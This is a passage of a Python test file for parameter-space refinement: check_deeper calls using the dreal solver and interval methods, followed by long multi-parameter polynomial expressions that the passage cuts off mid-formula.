coverage_thresh, False, algorithm, show_space=show_space) ## Dreal solver = "dreal" delta = 0.001 spacee = check_deeper([(0, 1), (0, 0.9)], ineq_to_constraints(f[N], create_intervals_hsb(alpha, n_samples, D3[("synchronous_", N, n_samples, v_p, v_q)])), max_depth, min_rect_size, coverage_thresh, False, algorithm, solver=solver, delta=delta, show_space=show_space) ## Interval algorithmic algorithm = 5 spacee = check_deeper([(0, 1), (0, 0.9)], ineq_to_constraints(f[N], create_intervals_hsb(alpha, n_samples, D3[("synchronous_", N, n_samples, v_p, v_q)])), max_depth, min_rect_size, coverage_thresh, False, algorithm, show_space=show_space) ## UNCOMMENT FOLLOWING to run this test # check_deeper([(0, 4)], ineq_to_constraints(["x"], [Interval(0, 3)]), 5, 0, 0.95, silent=False, version=5, show_space=show_space) # check_deeper([(0, 1), (0, 1)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 5, 0, 0.95, silent=True, version=5, show_space=show_space) # check_deeper([(0, 0.5), (0, 0.5)], ineq_to_constraints(["x+y"], [Interval(0, 1)]), 5, 0, 0.95, silent=False, version=5, show_space=show_space) ## VERY VERY INTERESTING RESULT # check_deeper([(0, 1), (0, 1)], ineq_to_constraints(f[2], create_intervals_hsb(0.95, 1500, [0.1, 0.3, 0.6])), 14, 0.01 ** 2, 0.997, False, 5, show_space=show_space) print(colored('End of two-param test', 'blue')) def test_refine_multi_param(self): print(colored("Multi-param refinement here", 'blue')) from common.mathematics import create_intervals_hsb show_space = True ## MULTIPARAM TEST f_multiparam = {10: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]} f_multiparam[10][0] = '(p - 1)**10' f_multiparam[10][1] = '10*p*(p - 1)**9*(q1 - 1)**9' f_multiparam[10][2] = '-5*p*(p - 1)**8*(2*p*q1**9 + 2*p*q1**8*q2 - 18*p*q1**8 + 2*p*q1**7*q2**2 - 18*p*q1**7*q2 + 72*p*q1**7 + 2*p*q1**6*q2**3 - 18*p*q1**6*q2**2 + 72*p*q1**6*q2 - 168*p*q1**6 + 2*p*q1**5*q2**4 - 18*p*q1**5*q2**3 + 72*p*q1**5*q2**2 - 168*p*q1**5*q2 + 252*p*q1**5 + 2*p*q1**4*q2**5 - 18*p*q1**4*q2**4 + 72*p*q1**4*q2**3 - 168*p*q1**4*q2**2 + 252*p*q1**4*q2 - 252*p*q1**4 + 2*p*q1**3*q2**6 - 18*p*q1**3*q2**5 + 72*p*q1**3*q2**4 - 168*p*q1**3*q2**3 + 252*p*q1**3*q2**2 - 252*p*q1**3*q2 + 168*p*q1**3 + 2*p*q1**2*q2**7 - 18*p*q1**2*q2**6 + 72*p*q1**2*q2**5 - 168*p*q1**2*q2**4 + 252*p*q1**2*q2**3 - 252*p*q1**2*q2**2 + 168*p*q1**2*q2 - 72*p*q1**2 + 2*p*q1*q2**8 - 18*p*q1*q2**7 + 72*p*q1*q2**6 - 168*p*q1*q2**5 + 252*p*q1*q2**4 - 252*p*q1*q2**3 + 168*p*q1*q2**2 - 72*p*q1*q2 + 18*p*q1 - 9*p*q2**8 + 72*p*q2**7 - 252*p*q2**6 + 504*p*q2**5 - 630*p*q2**4 + 504*p*q2**3 - 252*p*q2**2 + 72*p*q2 - 9*p - 2*q1**9 - 2*q1**8*q2 + 18*q1**8 - 2*q1**7*q2**2 + 18*q1**7*q2 - 72*q1**7 - 2*q1**6*q2**3 + 18*q1**6*q2**2 - 72*q1**6*q2 + 168*q1**6 - 2*q1**5*q2**4 + 18*q1**5*q2**3 - 72*q1**5*q2**2 + 168*q1**5*q2 - 252*q1**5 - 2*q1**4*q2**5 + 18*q1**4*q2**4 - 72*q1**4*q2**3 + 168*q1**4*q2**2 - 252*q1**4*q2 + 252*q1**4 - 2*q1**3*q2**6 + 18*q1**3*q2**5 - 72*q1**3*q2**4 + 168*q1**3*q2**3 - 252*q1**3*q2**2 + 252*q1**3*q2 - 168*q1**3 - 2*q1**2*q2**7 + 18*q1**2*q2**6 - 72*q1**2*q2**5 + 168*q1**2*q2**4 - 252*q1**2*q2**3 + 252*q1**2*q2**2 - 168*q1**2*q2 + 72*q1**2 - 2*q1*q2**8 + 18*q1*q2**7 - 72*q1*q2**6 + 168*q1*q2**5 - 252*q1*q2**4 + 252*q1*q2**3 - 168*q1*q2**2 + 72*q1*q2 - 18*q1)' f_multiparam[10][3] = '5*p*(p - 1)**7*(2*p**2*q1**8*q2 + 2*p**2*q1**7*q2**2 + 2*p**2*q1**7*q2*q3 - 18*p**2*q1**7*q2 + 2*p**2*q1**6*q2**3 + 2*p**2*q1**6*q2**2*q3 - 18*p**2*q1**6*q2**2 + 2*p**2*q1**6*q2*q3**2 - 18*p**2*q1**6*q2*q3 + 72*p**2*q1**6*q2 + 2*p**2*q1**5*q2**4 + 2*p**2*q1**5*q2**3*q3 - 18*p**2*q1**5*q2**3 + 2*p**2*q1**5*q2**2*q3**2 - 18*p**2*q1**5*q2**2*q3 + 72*p**2*q1**5*q2**2 + 2*p**2*q1**5*q2*q3**3 - 18*p**2*q1**5*q2*q3**2 + 72*p**2*q1**5*q2*q3 - 168*p**2*q1**5*q2 + 2*p**2*q1**4*q2**5 + 2*p**2*q1**4*q2**4*q3 - 18*p**2*q1**4*q2**4 + 2*p**2*q1**4*q2**3*q3**2 - 18*p**2*q1**4*q2**3*q3 + 72*p**2*q1**4*q2**3 + 2*p**2*q1**4*q2**2*q3**3 - 18*p**2*q1**4*q2**2*q3**2 + 72*p**2*q1**4*q2**2*q3 - 168*p**2*q1**4*q2**2 + 2*p**2*q1**4*q2*q3**4 - 18*p**2*q1**4*q2*q3**3 + 72*p**2*q1**4*q2*q3**2 - 168*p**2*q1**4*q2*q3 + 252*p**2*q1**4*q2 + 2*p**2*q1**3*q2**6 + 2*p**2*q1**3*q2**5*q3 - 18*p**2*q1**3*q2**5 + 2*p**2*q1**3*q2**4*q3**2 - 18*p**2*q1**3*q2**4*q3 + 72*p**2*q1**3*q2**4 + 2*p**2*q1**3*q2**3*q3**3 - 18*p**2*q1**3*q2**3*q3**2 + 72*p**2*q1**3*q2**3*q3 - 168*p**2*q1**3*q2**3 + 2*p**2*q1**3*q2**2*q3**4 - 18*p**2*q1**3*q2**2*q3**3 + 72*p**2*q1**3*q2**2*q3**2 - 168*p**2*q1**3*q2**2*q3 + 252*p**2*q1**3*q2**2 + 2*p**2*q1**3*q2*q3**5 - 18*p**2*q1**3*q2*q3**4 + 72*p**2*q1**3*q2*q3**3 - 168*p**2*q1**3*q2*q3**2 + 252*p**2*q1**3*q2*q3 - 252*p**2*q1**3*q2 + 2*p**2*q1**2*q2**7 + 2*p**2*q1**2*q2**6*q3 - 18*p**2*q1**2*q2**6 + 2*p**2*q1**2*q2**5*q3**2 - 18*p**2*q1**2*q2**5*q3 + 72*p**2*q1**2*q2**5 + 2*p**2*q1**2*q2**4*q3**3 - 18*p**2*q1**2*q2**4*q3**2 + 72*p**2*q1**2*q2**4*q3 - 168*p**2*q1**2*q2**4 + 2*p**2*q1**2*q2**3*q3**4 - 18*p**2*q1**2*q2**3*q3**3 + 72*p**2*q1**2*q2**3*q3**2 - 168*p**2*q1**2*q2**3*q3 + 252*p**2*q1**2*q2**3 + 2*p**2*q1**2*q2**2*q3**5 - 18*p**2*q1**2*q2**2*q3**4 + 72*p**2*q1**2*q2**2*q3**3 - 168*p**2*q1**2*q2**2*q3**2 + 252*p**2*q1**2*q2**2*q3 - 252*p**2*q1**2*q2**2 + 2*p**2*q1**2*q2*q3**6 - 18*p**2*q1**2*q2*q3**5 + 72*p**2*q1**2*q2*q3**4 - 168*p**2*q1**2*q2*q3**3 + 252*p**2*q1**2*q2*q3**2 - 252*p**2*q1**2*q2*q3 + 168*p**2*q1**2*q2 + 2*p**2*q1*q2**8 + 2*p**2*q1*q2**7*q3 - 18*p**2*q1*q2**7 + 2*p**2*q1*q2**6*q3**2 - 18*p**2*q1*q2**6*q3 + 72*p**2*q1*q2**6 + 2*p**2*q1*q2**5*q3**3 - 18*p**2*q1*q2**5*q3**2 + 72*p**2*q1*q2**5*q3 - 168*p**2*q1*q2**5 + 2*p**2*q1*q2**4*q3**4 - 18*p**2*q1*q2**4*q3**3 + 72*p**2*q1*q2**4*q3**2 - 168*p**2*q1*q2**4*q3 + 252*p**2*q1*q2**4 + 2*p**2*q1*q2**3*q3**5 - 18*p**2*q1*q2**3*q3**4 + 72*p**2*q1*q2**3*q3**3 - 168*p**2*q1*q2**3*q3**2 + 252*p**2*q1*q2**3*q3 - 252*p**2*q1*q2**3 + 2*p**2*q1*q2**2*q3**6 - 18*p**2*q1*q2**2*q3**5 + 72*p**2*q1*q2**2*q3**4 - 168*p**2*q1*q2**2*q3**3 + 252*p**2*q1*q2**2*q3**2 - 252*p**2*q1*q2**2*q3 + 168*p**2*q1*q2**2 + 2*p**2*q1*q2*q3**7 - 18*p**2*q1*q2*q3**6 + 72*p**2*q1*q2*q3**5 - 168*p**2*q1*q2*q3**4 + 252*p**2*q1*q2*q3**3 - 252*p**2*q1*q2*q3**2 + 168*p**2*q1*q2*q3 - 72*p**2*q1*q2 - 9*p**2*q2**8 - 9*p**2*q2**7*q3 + 72*p**2*q2**7 - 9*p**2*q2**6*q3**2 + 72*p**2*q2**6*q3 - 252*p**2*q2**6 - 9*p**2*q2**5*q3**3 + 72*p**2*q2**5*q3**2 - 252*p**2*q2**5*q3 + 504*p**2*q2**5 - 9*p**2*q2**4*q3**4 + 72*p**2*q2**4*q3**3 - 252*p**2*q2**4*q3**2 + 504*p**2*q2**4*q3 - 630*p**2*q2**4 - 9*p**2*q2**3*q3**5 + 72*p**2*q2**3*q3**4 - 252*p**2*q2**3*q3**3 + 504*p**2*q2**3*q3**2 - 630*p**2*q2**3*q3 + 504*p**2*q2**3 - 9*p**2*q2**2*q3**6 + 72*p**2*q2**2*q3**5 - 252*p**2*q2**2*q3**4 + 504*p**2*q2**2*q3**3 - 630*p**2*q2**2*q3**2 + 504*p**2*q2**2*q3 - 252*p**2*q2**2 - 9*p**2*q2*q3**7 + 72*p**2*q2*q3**6 - 252*p**2*q2*q3**5 + 504*p**2*q2*q3**4 - 630*p**2*q2*q3**3 + 504*p**2*q2*q3**2 - 252*p**2*q2*q3 + 72*p**2*q2 + 24*p**2*q3**7 - 168*p**2*q3**6 + 504*p**2*q3**5 - 840*p**2*q3**4 + 840*p**2*q3**3 - 504*p**2*q3**2 + 168*p**2*q3 - 24*p**2 - 4*p*q1**8*q2 - 4*p*q1**7*q2**2 - 4*p*q1**7*q2*q3 + 36*p*q1**7*q2 - 4*p*q1**6*q2**3 - 4*p*q1**6*q2**2*q3 + 36*p*q1**6*q2**2 - 4*p*q1**6*q2*q3**2 + 36*p*q1**6*q2*q3 - 144*p*q1**6*q2 - 4*p*q1**5*q2**4 - 4*p*q1**5*q2**3*q3 + 36*p*q1**5*q2**3 - 4*p*q1**5*q2**2*q3**2 + 36*p*q1**5*q2**2*q3 - 144*p*q1**5*q2**2 - 4*p*q1**5*q2*q3**3 + 36*p*q1**5*q2*q3**2 - 144*p*q1**5*q2*q3 + 336*p*q1**5*q2 - 4*p*q1**4*q2**5 - 4*p*q1**4*q2**4*q3 + 36*p*q1**4*q2**4 - 4*p*q1**4*q2**3*q3**2 + 36*p*q1**4*q2**3*q3 - 144*p*q1**4*q2**3 - 4*p*q1**4*q2**2*q3**3 + 36*p*q1**4*q2**2*q3**2 - 144*p*q1**4*q2**2*q3 + 336*p*q1**4*q2**2 - 4*p*q1**4*q2*q3**4 + 36*p*q1**4*q2*q3**3 - 144*p*q1**4*q2*q3**2 + 336*p*q1**4*q2*q3 - 504*p*q1**4*q2 - 4*p*q1**3*q2**6 - 4*p*q1**3*q2**5*q3 + 36*p*q1**3*q2**5 - 4*p*q1**3*q2**4*q3**2 + 36*p*q1**3*q2**4*q3 - 144*p*q1**3*q2**4 - 4*p*q1**3*q2**3*q3**3 + 36*p*q1**3*q2**3*q3**2 - 144*p*q1**3*q2**3*q3 + 336*p*q1**3*q2**3 - 4*p*q1**3*q2**2*q3**4 + 36*p*q1**3*q2**2*q3**3 - 144*p*q1**3*q2**2*q3**2 + 336*p*q1**3*q2**2*q3 - 504*p*q1**3*q2**2 - 4*p*q1**3*q2*q3**5 + 36*p*q1**3*q2*q3**4 - 144*p*q1**3*q2*q3**3 + 336*p*q1**3*q2*q3**2 - 504*p*q1**3*q2*q3 + 504*p*q1**3*q2 - 4*p*q1**2*q2**7 - 4*p*q1**2*q2**6*q3 + 36*p*q1**2*q2**6 - 4*p*q1**2*q2**5*q3**2 + 36*p*q1**2*q2**5*q3 - 144*p*q1**2*q2**5 - 4*p*q1**2*q2**4*q3**3 + 36*p*q1**2*q2**4*q3**2 - 144*p*q1**2*q2**4*q3 + 336*p*q1**2*q2**4 - 4*p*q1**2*q2**3*q3**4 + 36*p*q1**2*q2**3*q3**3 - 144*p*q1**2*q2**3*q3**2 + 336*p*q1**2*q2**3*q3 - 504*p*q1**2*q2**3 - 4*p*q1**2*q2**2*q3**5 + 36*p*q1**2*q2**2*q3**4 - 144*p*q1**2*q2**2*q3**3 + 336*p*q1**2*q2**2*q3**2 - 504*p*q1**2*q2**2*q3 + 504*p*q1**2*q2**2 - 4*p*q1**2*q2*q3**6 + 36*p*q1**2*q2*q3**5 - 144*p*q1**2*q2*q3**4 + 336*p*q1**2*q2*q3**3 - 504*p*q1**2*q2*q3**2 + 504*p*q1**2*q2*q3 - 336*p*q1**2*q2 - 4*p*q1*q2**8 - 4*p*q1*q2**7*q3 + 36*p*q1*q2**7 - 4*p*q1*q2**6*q3**2 + 36*p*q1*q2**6*q3 - 144*p*q1*q2**6 - 4*p*q1*q2**5*q3**3 + 36*p*q1*q2**5*q3**2 - 144*p*q1*q2**5*q3 + 336*p*q1*q2**5 - 4*p*q1*q2**4*q3**4 + 36*p*q1*q2**4*q3**3 - 144*p*q1*q2**4*q3**2 + 336*p*q1*q2**4*q3 - 504*p*q1*q2**4 - 4*p*q1*q2**3*q3**5 + 36*p*q1*q2**3*q3**4 - 144*p*q1*q2**3*q3**3 + 336*p*q1*q2**3*q3**2 - 504*p*q1*q2**3*q3 + 504*p*q1*q2**3 - 4*p*q1*q2**2*q3**6 + 36*p*q1*q2**2*q3**5 - 144*p*q1*q2**2*q3**4 + 336*p*q1*q2**2*q3**3 - 504*p*q1*q2**2*q3**2 + 504*p*q1*q2**2*q3 - 336*p*q1*q2**2 - 4*p*q1*q2*q3**7 + 36*p*q1*q2*q3**6 - 144*p*q1*q2*q3**5 + 336*p*q1*q2*q3**4 - 504*p*q1*q2*q3**3 + 504*p*q1*q2*q3**2 - 336*p*q1*q2*q3 + 144*p*q1*q2 + 9*p*q2**8 + 9*p*q2**7*q3 - 72*p*q2**7 + 9*p*q2**6*q3**2 - 72*p*q2**6*q3 + 252*p*q2**6 + 9*p*q2**5*q3**3 - 72*p*q2**5*q3**2 + 252*p*q2**5*q3 - 504*p*q2**5 + 9*p*q2**4*q3**4 - 72*p*q2**4*q3**3 + 252*p*q2**4*q3**2 - 504*p*q2**4*q3 + 630*p*q2**4 + 9*p*q2**3*q3**5 - 72*p*q2**3*q3**4 + 252*p*q2**3*q3**3 - 504*p*q2**3*q3**2 + 630*p*q2**3*q3 - 504*p*q2**3 + 9*p*q2**2*q3**6 - 72*p*q2**2*q3**5 + 252*p*q2**2*q3**4 - 504*p*q2**2*q3**3 + 630*p*q2**2*q3**2 - 504*p*q2**2*q3 + 252*p*q2**2 + 9*p*q2*q3**7 - 72*p*q2*q3**6 + 252*p*q2*q3**5 - 504*p*q2*q3**4 + 630*p*q2*q3**3 - 504*p*q2*q3**2 + 252*p*q2*q3 - 72*p*q2 + 2*q1**8*q2 + 2*q1**7*q2**2 + 2*q1**7*q2*q3 - 18*q1**7*q2 + 2*q1**6*q2**3 + 2*q1**6*q2**2*q3 - 18*q1**6*q2**2 + 2*q1**6*q2*q3**2 - 18*q1**6*q2*q3 + 72*q1**6*q2 + 2*q1**5*q2**4 + 2*q1**5*q2**3*q3 - 18*q1**5*q2**3 + 2*q1**5*q2**2*q3**2 - 18*q1**5*q2**2*q3 + 72*q1**5*q2**2 + 2*q1**5*q2*q3**3 - 18*q1**5*q2*q3**2 + 72*q1**5*q2*q3 - 168*q1**5*q2 + 2*q1**4*q2**5 + 2*q1**4*q2**4*q3 - 18*q1**4*q2**4 + 2*q1**4*q2**3*q3**2 - 18*q1**4*q2**3*q3 + 72*q1**4*q2**3 + 2*q1**4*q2**2*q3**3 - 18*q1**4*q2**2*q3**2 + 72*q1**4*q2**2*q3 - 168*q1**4*q2**2 + 2*q1**4*q2*q3**4 - 18*q1**4*q2*q3**3 + 72*q1**4*q2*q3**2 - 168*q1**4*q2*q3 + 252*q1**4*q2 + 2*q1**3*q2**6 + 2*q1**3*q2**5*q3 - 18*q1**3*q2**5 + 2*q1**3*q2**4*q3**2 - 18*q1**3*q2**4*q3 + 72*q1**3*q2**4 + 2*q1**3*q2**3*q3**3 - 18*q1**3*q2**3*q3**2 + 72*q1**3*q2**3*q3 - 168*q1**3*q2**3 + 2*q1**3*q2**2*q3**4 - 18*q1**3*q2**2*q3**3 + 72*q1**3*q2**2*q3**2 - 168*q1**3*q2**2*q3 + 252*q1**3*q2**2 + 2*q1**3*q2*q3**5 - 18*q1**3*q2*q3**4 + 72*q1**3*q2*q3**3 - 168*q1**3*q2*q3**2 + 252*q1**3*q2*q3 - 252*q1**3*q2 + 2*q1**2*q2**7 + 2*q1**2*q2**6*q3 - 18*q1**2*q2**6 + 2*q1**2*q2**5*q3**2 - 18*q1**2*q2**5*q3 + 72*q1**2*q2**5 + 2*q1**2*q2**4*q3**3 - 18*q1**2*q2**4*q3**2 + 72*q1**2*q2**4*q3 - 168*q1**2*q2**4 + 2*q1**2*q2**3*q3**4 - 18*q1**2*q2**3*q3**3 + 72*q1**2*q2**3*q3**2 - 168*q1**2*q2**3*q3 + 252*q1**2*q2**3 + 2*q1**2*q2**2*q3**5 - 18*q1**2*q2**2*q3**4 + 72*q1**2*q2**2*q3**3 - 168*q1**2*q2**2*q3**2 + 252*q1**2*q2**2*q3 - 252*q1**2*q2**2 + 2*q1**2*q2*q3**6 - 18*q1**2*q2*q3**5 + 72*q1**2*q2*q3**4 - 168*q1**2*q2*q3**3 + 252*q1**2*q2*q3**2 - 252*q1**2*q2*q3 + 168*q1**2*q2 + 2*q1*q2**8 + 2*q1*q2**7*q3 - 18*q1*q2**7 + 2*q1*q2**6*q3**2 - 18*q1*q2**6*q3 + 72*q1*q2**6 + 2*q1*q2**5*q3**3 - 18*q1*q2**5*q3**2 + 72*q1*q2**5*q3 - 168*q1*q2**5 + 2*q1*q2**4*q3**4 - 18*q1*q2**4*q3**3 + 72*q1*q2**4*q3**2 - 168*q1*q2**4*q3 + 252*q1*q2**4 + 2*q1*q2**3*q3**5 - 18*q1*q2**3*q3**4 + 72*q1*q2**3*q3**3 - 168*q1*q2**3*q3**2 + 252*q1*q2**3*q3 - 252*q1*q2**3 + 2*q1*q2**2*q3**6 - 18*q1*q2**2*q3**5 + 72*q1*q2**2*q3**4 - 168*q1*q2**2*q3**3 + 252*q1*q2**2*q3**2 - 252*q1*q2**2*q3 + 168*q1*q2**2 + 2*q1*q2*q3**7 - 18*q1*q2*q3**6 + 72*q1*q2*q3**5 - 168*q1*q2*q3**4 + 252*q1*q2*q3**3 - 252*q1*q2*q3**2 + 168*q1*q2*q3 - 72*q1*q2)' f_multiparam[10][4] = '-5*p*(p - 1)**6*(2*p**3*q1**7*q2*q3 + 2*p**3*q1**6*q2**2*q3 + 2*p**3*q1**6*q2*q3**2 + 2*p**3*q1**6*q2*q3*q4 - 18*p**3*q1**6*q2*q3 + 2*p**3*q1**5*q2**3*q3 + 2*p**3*q1**5*q2**2*q3**2 + 2*p**3*q1**5*q2**2*q3*q4 - 18*p**3*q1**5*q2**2*q3 + 2*p**3*q1**5*q2*q3**3 + 2*p**3*q1**5*q2*q3**2*q4 - 18*p**3*q1**5*q2*q3**2 + 2*p**3*q1**5*q2*q3*q4**2 - 18*p**3*q1**5*q2*q3*q4 + 72*p**3*q1**5*q2*q3 + 2*p**3*q1**4*q2**4*q3 + 2*p**3*q1**4*q2**3*q3**2 + 2*p**3*q1**4*q2**3*q3*q4 - 18*p**3*q1**4*q2**3*q3 + 2*p**3*q1**4*q2**2*q3**3 + 2*p**3*q1**4*q2**2*q3**2*q4 - 18*p**3*q1**4*q2**2*q3**2 + 2*p**3*q1**4*q2**2*q3*q4**2 - 18*p**3*q1**4*q2**2*q3*q4 + 72*p**3*q1**4*q2**2*q3 + 2*p**3*q1**4*q2*q3**4 + 2*p**3*q1**4*q2*q3**3*q4 - 18*p**3*q1**4*q2*q3**3 + 2*p**3*q1**4*q2*q3**2*q4**2 - 18*p**3*q1**4*q2*q3**2*q4 + 72*p**3*q1**4*q2*q3**2 + 2*p**3*q1**4*q2*q3*q4**3 - 18*p**3*q1**4*q2*q3*q4**2 + 72*p**3*q1**4*q2*q3*q4 - 168*p**3*q1**4*q2*q3 + 2*p**3*q1**3*q2**5*q3 + 2*p**3*q1**3*q2**4*q3**2 + 2*p**3*q1**3*q2**4*q3*q4 - 18*p**3*q1**3*q2**4*q3 + 2*p**3*q1**3*q2**3*q3**3 + 2*p**3*q1**3*q2**3*q3**2*q4 - 18*p**3*q1**3*q2**3*q3**2 + 2*p**3*q1**3*q2**3*q3*q4**2 - 18*p**3*q1**3*q2**3*q3*q4 + 72*p**3*q1**3*q2**3*q3 + 2*p**3*q1**3*q2**2*q3**4 + 2*p**3*q1**3*q2**2*q3**3*q4 - 18*p**3*q1**3*q2**2*q3**3 + 2*p**3*q1**3*q2**2*q3**2*q4**2 - 18*p**3*q1**3*q2**2*q3**2*q4 + 72*p**3*q1**3*q2**2*q3**2 + 2*p**3*q1**3*q2**2*q3*q4**3 - 18*p**3*q1**3*q2**2*q3*q4**2 + 72*p**3*q1**3*q2**2*q3*q4 - 168*p**3*q1**3*q2**2*q3 + 2*p**3*q1**3*q2*q3**5 + 2*p**3*q1**3*q2*q3**4*q4 - 18*p**3*q1**3*q2*q3**4 + 2*p**3*q1**3*q2*q3**3*q4**2 - 18*p**3*q1**3*q2*q3**3*q4 + 72*p**3*q1**3*q2*q3**3 + 2*p**3*q1**3*q2*q3**2*q4**3 - 18*p**3*q1**3*q2*q3**2*q4**2 + 72*p**3*q1**3*q2*q3**2*q4 - 168*p**3*q1**3*q2*q3**2 + 2*p**3*q1**3*q2*q3*q4**4 - 18*p**3*q1**3*q2*q3*q4**3 + 72*p**3*q1**3*q2*q3*q4**2 - 168*p**3*q1**3*q2*q3*q4 + 252*p**3*q1**3*q2*q3 + 2*p**3*q1**2*q2**6*q3 + 2*p**3*q1**2*q2**5*q3**2 + 2*p**3*q1**2*q2**5*q3*q4 - 18*p**3*q1**2*q2**5*q3 + 2*p**3*q1**2*q2**4*q3**3 + 2*p**3*q1**2*q2**4*q3**2*q4 - 18*p**3*q1**2*q2**4*q3**2 + 2*p**3*q1**2*q2**4*q3*q4**2 - 18*p**3*q1**2*q2**4*q3*q4 + 72*p**3*q1**2*q2**4*q3 + 2*p**3*q1**2*q2**3*q3**4 + 2*p**3*q1**2*q2**3*q3**3*q4 - 18*p**3*q1**2*q2**3*q3**3 + 2*p**3*q1**2*q2**3*q3**2*q4**2 - 18*p**3*q1**2*q2**3*q3**2*q4 + 72*p**3*q1**2*q2**3*q3**2 + 2*p**3*q1**2*q2**3*q3*q4**3 - 18*p**3*q1**2*q2**3*q3*q4**2 + 72*p**3*q1**2*q2**3*q3*q4 - 168*p**3*q1**2*q2**3*q3 + 2*p**3*q1**2*q2**2*q3**5 + 2*p**3*q1**2*q2**2*q3**4*q4 - 18*p**3*q1**2*q2**2*q3**4 + 2*p**3*q1**2*q2**2*q3**3*q4**2 - 18*p**3*q1**2*q2**2*q3**3*q4 + 72*p**3*q1**2*q2**2*q3**3 + 2*p**3*q1**2*q2**2*q3**2*q4**3 - 18*p**3*q1**2*q2**2*q3**2*q4**2 + 72*p**3*q1**2*q2**2*q3**2*q4 - 168*p**3*q1**2*q2**2*q3**2 + 2*p**3*q1**2*q2**2*q3*q4**4 - 18*p**3*q1**2*q2**2*q3*q4**3 + 72*p**3*q1**2*q2**2*q3*q4**2 - 168*p**3*q1**2*q2**2*q3*q4 + 252*p**3*q1**2*q2**2*q3 + 2*p**3*q1**2*q2*q3**6 + 2*p**3*q1**2*q2*q3**5*q4 - 18*p**3*q1**2*q2*q3**5 + 2*p**3*q1**2*q2*q3**4*q4**2 - 18*p**3*q1**2*q2*q3**4*q4 + 72*p**3*q1**2*q2*q3**4 + 2*p**3*q1**2*q2*q3**3*q4**3 - 18*p**3*q1**2*q2*q3**3*q4**2 + 72*p**3*q1**2*q2*q3**3*q4 - 168*p**3*q1**2*q2*q3**3 + 2*p**3*q1**2*q2*q3**2*q4**4 - 18*p**3*q1**2*q2*q3**2*q4**3 + 72*p**3*q1**2*q2*q3**2*q4**2 - 168*p**3*q1**2*q2*q3**2*q4 + 252*p**3*q1**2*q2*q3**2 + 2*p**3*q1**2*q2*q3*q4**5 - 18*p**3*q1**2*q2*q3*q4**4 + 72*p**3*q1**2*q2*q3*q4**3 - 168*p**3*q1**2*q2*q3*q4**2 + 252*p**3*q1**2*q2*q3*q4 - 252*p**3*q1**2*q2*q3 + 2*p**3*q1*q2**7*q3 + 2*p**3*q1*q2**6*q3**2 + 2*p**3*q1*q2**6*q3*q4 - 18*p**3*q1*q2**6*q3 + 2*p**3*q1*q2**5*q3**3 + 2*p**3*q1*q2**5*q3**2*q4 - 18*p**3*q1*q2**5*q3**2 + 2*p**3*q1*q2**5*q3*q4**2 - 18*p**3*q1*q2**5*q3*q4 + 72*p**3*q1*q2**5*q3 + 2*p**3*q1*q2**4*q3**4 + 2*p**3*q1*q2**4*q3**3*q4 - 18*p**3*q1*q2**4*q3**3 + 2*p**3*q1*q2**4*q3**2*q4**2 - 18*p**3*q1*q2**4*q3**2*q4 + 72*p**3*q1*q2**4*q3**2 + 2*p**3*q1*q2**4*q3*q4**3 - 18*p**3*q1*q2**4*q3*q4**2 + 72*p**3*q1*q2**4*q3*q4 - 168*p**3*q1*q2**4*q3 + 2*p**3*q1*q2**3*q3**5 + 2*p**3*q1*q2**3*q3**4*q4 - 18*p**3*q1*q2**3*q3**4 + 2*p**3*q1*q2**3*q3**3*q4**2 - 18*p**3*q1*q2**3*q3**3*q4 + 72*p**3*q1*q2**3*q3**3 + 2*p**3*q1*q2**3*q3**2*q4**3 - 18*p**3*q1*q2**3*q3**2*q4**2 + 72*p**3*q1*q2**3*q3**2*q4 - 168*p**3*q1*q2**3*q3**2 + 2*p**3*q1*q2**3*q3*q4**4 - 18*p**3*q1*q2**3*q3*q4**3 + 72*p**3*q1*q2**3*q3*q4**2 - 168*p**3*q1*q2**3*q3*q4 + 252*p**3*q1*q2**3*q3 + 2*p**3*q1*q2**2*q3**6 + 2*p**3*q1*q2**2*q3**5*q4 - 18*p**3*q1*q2**2*q3**5 + 2*p**3*q1*q2**2*q3**4*q4**2 - 18*p**3*q1*q2**2*q3**4*q4 + 72*p**3*q1*q2**2*q3**4 + 2*p**3*q1*q2**2*q3**3*q4**3 - 18*p**3*q1*q2**2*q3**3*q4**2 + 72*p**3*q1*q2**2*q3**3*q4 - 168*p**3*q1*q2**2*q3**3 + 2*p**3*q1*q2**2*q3**2*q4**4 - 18*p**3*q1*q2**2*q3**2*q4**3 + 72*p**3*q1*q2**2*q3**2*q4**2 - 168*p**3*q1*q2**2*q3**2*q4 + 252*p**3*q1*q2**2*q3**2 + 2*p**3*q1*q2**2*q3*q4**5 - 18*p**3*q1*q2**2*q3*q4**4 + 72*p**3*q1*q2**2*q3*q4**3 - 168*p**3*q1*q2**2*q3*q4**2 + 252*p**3*q1*q2**2*q3*q4 - 252*p**3*q1*q2**2*q3 + 2*p**3*q1*q2*q3**7 + 2*p**3*q1*q2*q3**6*q4 - 18*p**3*q1*q2*q3**6 + 2*p**3*q1*q2*q3**5*q4**2 - 18*p**3*q1*q2*q3**5*q4 + 72*p**3*q1*q2*q3**5 + 2*p**3*q1*q2*q3**4*q4**3 - 18*p**3*q1*q2*q3**4*q4**2 + 72*p**3*q1*q2*q3**4*q4 - 168*p**3*q1*q2*q3**4 + 2*p**3*q1*q2*q3**3*q4**4 - 18*p**3*q1*q2*q3**3*q4**3 + 72*p**3*q1*q2*q3**3*q4**2 - 168*p**3*q1*q2*q3**3*q4 + 252*p**3*q1*q2*q3**3 + 2*p**3*q1*q2*q3**2*q4**5 - 18*p**3*q1*q2*q3**2*q4**4 + 72*p**3*q1*q2*q3**2*q4**3 - 168*p**3*q1*q2*q3**2*q4**2 + 252*p**3*q1*q2*q3**2*q4 - 252*p**3*q1*q2*q3**2 + 2*p**3*q1*q2*q3*q4**6 - 18*p**3*q1*q2*q3*q4**5 + 72*p**3*q1*q2*q3*q4**4 - 168*p**3*q1*q2*q3*q4**3 + 252*p**3*q1*q2*q3*q4**2 - 252*p**3*q1*q2*q3*q4 + 168*p**3*q1*q2*q3 - 9*p**3*q2**7*q3 - 9*p**3*q2**6*q3**2 - 9*p**3*q2**6*q3*q4 + 72*p**3*q2**6*q3 - 9*p**3*q2**5*q3**3 - 9*p**3*q2**5*q3**2*q4 + 72*p**3*q2**5*q3**2 - 9*p**3*q2**5*q3*q4**2 + 72*p**3*q2**5*q3*q4 - 252*p**3*q2**5*q3 - 9*p**3*q2**4*q3**4 - 9*p**3*q2**4*q3**3*q4 + 72*p**3*q2**4*q3**3 - 9*p**3*q2**4*q3**2*q4**2 + 72*p**3*q2**4*q3**2*q4 - 252*p**3*q2**4*q3**2 - 9*p**3*q2**4*q3*q4**3 + 